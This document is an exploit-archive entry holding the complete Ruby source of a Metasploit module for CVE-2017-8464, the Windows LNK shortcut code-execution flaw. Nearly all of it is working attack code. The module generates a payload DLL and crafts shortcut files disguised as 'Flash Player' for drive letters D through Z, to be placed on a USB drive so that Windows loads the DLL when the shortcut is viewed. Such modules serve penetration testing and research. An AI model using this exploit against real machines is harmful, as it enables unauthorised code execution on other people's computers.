Microsoft Windows LNK Shortcut File Code Execution

This Metasploit module exploits a vulnerability in the handling of Windows Shortcut files (.LNK) that contain a dynamic icon, loaded from a malicious DLL. This vulnerability is a variant of MS15-020 (CVE-2015-0096). The created LNK file is similar except in an additional SpecialFolderDataBlock is included. The folder ID set in this SpecialFolderDataBlock is set to the Control Panel. This is enough to bypass the CPL whitelist. This bypass can be used to trick Windows into loading an arbitrary DLL file.


MD5 | 63ff862692b9e1b52aec2b632659c94e

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::EXE

attr_accessor :exploit_dll_name

def initialize(info = {})
super(update_info(info,
'Name' => 'LNK Remote Code Execution Vulnerability',
'Description' => %q{
This module exploits a vulnerability in the handling of Windows Shortcut files (.LNK)
that contain a dynamic icon, loaded from a malicious DLL.

This vulnerability is a variant of MS15-020 (CVE-2015-0096). The created LNK file is
similar except in an additional SpecialFolderDataBlock is included. The folder ID set
in this SpecialFolderDataBlock is set to the Control Panel. This is enought to bypass
the CPL whitelist. This bypass can be used to trick Windows into loading an arbitrary
DLL file.
},
'Author' =>
[
'Uncredited', # vulnerability discovery
'Yorick Koster' # msf module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2017-8464'],
['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8464'],
['URL', 'http://paper.seebug.org/357/'], # writeup
['URL', 'http://www.vxjump.net/files/vuln_analysis/cve-2017-8464.txt'] # writeup
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Arch' => [ARCH_X86, ARCH_X64],
'Payload' =>
{
'Space' => 2048,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows x64', { 'Arch' => ARCH_X64 } ],
[ 'Windows x86', { 'Arch' => ARCH_X86 } ]
],
'DefaultTarget' => 0, # Default target is 64-bit
'DisclosureDate' => 'Jun 13 2017'))

register_advanced_options(
[
OptBool.new('DisablePayloadHandler', [false, 'Disable the handler code for the selected payload', true])
])
end

def exploit
dll = generate_payload_dll
dll_name = "#{rand_text_alpha(16)}.dll"
dll_path = store_file(dll, dll_name)
print_status("#{dll_path} created copy it to the root folder of the target USB drive")

# HACK the vulnerability doesn't appear to work with UNC paths
# Create LNK files to different drives instead
'DEFGHIJKLMNOPQRSTUVWXYZ'.split("").each do |i|
lnk = generate_link("#{i}:\\#{dll_name}")
lnk_path = store_file(lnk, "#{rand_text_alpha(16)}_#{i}.lnk")
print_status("#{lnk_path} create, copy to the USB drive if drive letter is #{i}")
end
end

def generate_link(path)
path << "\x00"
display_name = "Flash Player\x00" # LNK Display Name
comment = "\x00"

# Control Panel Applet ItemID with our DLL
cpl_applet = [
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00
].pack('C*')
cpl_applet << [path.length].pack('v')
cpl_applet << [display_name.length].pack('v')
cpl_applet << path.unpack('C*').pack('v*')
cpl_applet << display_name.unpack('C*').pack('v*')
cpl_applet << comment.unpack('C*').pack('v*')

# LinkHeader
ret = [
0x4c, 0x00, 0x00, 0x00, # HeaderSize, must be 0x0000004C
0x01, 0x14, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, # LinkCLSID, must be 00021401-0000-0000-C000-000000000046
0x81, 0x00, 0x00, 0x00, # LinkFlags (HasLinkTargetIDList | IsUnicode)
0x00, 0x00, 0x00, 0x00, # FileAttributes
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # CreationTime
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # AccessTime
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # WriteTime
0x00, 0x00, 0x00, 0x00, # FileSize
0x00, 0x00, 0x00, 0x00, # IconIndex
0x00, 0x00, 0x00, 0x00, # ShowCommand
0x00, 0x00, # HotKey
0x00, 0x00, # Reserved1
0x00, 0x00, 0x00, 0x00, # Reserved2
0x00, 0x00, 0x00, 0x00 # Reserved3
].pack('C*')

# IDList
idlist_data = ''
idlist_data << [0x12 + 2].pack('v') # ItemIDSize
idlist_data << [
# This PC
0x1f, 0x50, 0xe0, 0x4f, 0xd0, 0x20, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xd8, 0x08, 0x00, 0x2b, 0x30,
0x30, 0x9d
].pack('C*')
idlist_data << [0x12 + 2].pack('v') # ItemIDSize
idlist_data << [
# All Control Panel Items
0x2e, 0x80, 0x20, 0x20, 0xec, 0x21, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xdd, 0x08, 0x00, 0x2b, 0x30,
0x30, 0x9d
].pack('C*')
idlist_data << [cpl_applet.length + 2].pack('v')
idlist_data << cpl_applet
idlist_data << [0x00].pack('v') # TerminalID

# LinkTargetIDList
ret << [idlist_data.length].pack('v') # IDListSize
ret << idlist_data

# ExtraData
# SpecialFolderDataBlock
ret << [
0x10, 0x00, 0x00, 0x00, # BlockSize
0x05, 0x00, 0x00, 0xA0, # BlockSignature 0xA0000005
0x03, 0x00, 0x00, 0x00, # SpecialFolderID (CSIDL_CONTROLS - My Computer\Control Panel)
0x28, 0x00, 0x00, 0x00 # Offset in LinkTargetIDList
].pack('C*')
# TerminalBlock
ret << [0x00, 0x00, 0x00, 0x00].pack('V')
ret
end

# Store the file in the MSF local directory (eg, /root/.msf4/local/)
def store_file(data, filename)
ltype = "exploit.fileformat.#{self.shortname}"

if ! ::File.directory?(Msf::Config.local_directory)
FileUtils.mkdir_p(Msf::Config.local_directory)
end

if filename and not filename.empty?
if filename =~ /(.*)\.(.*)/
ext = $2
fname = $1
else
fname = filename
end
else
fname = "local_#{Time.now.utc.to_i}"
end

fname = ::File.split(fname).last

fname.gsub!(/[^a-z0-9\.\_\-]+/i, '')
fname << ".#{ext}"

path = File.join("#{Msf::Config.local_directory}/", fname)
full_path = ::File.expand_path(path)
File.open(full_path, "wb") { |fd| fd.write(data) }

full_path.dup
end
end


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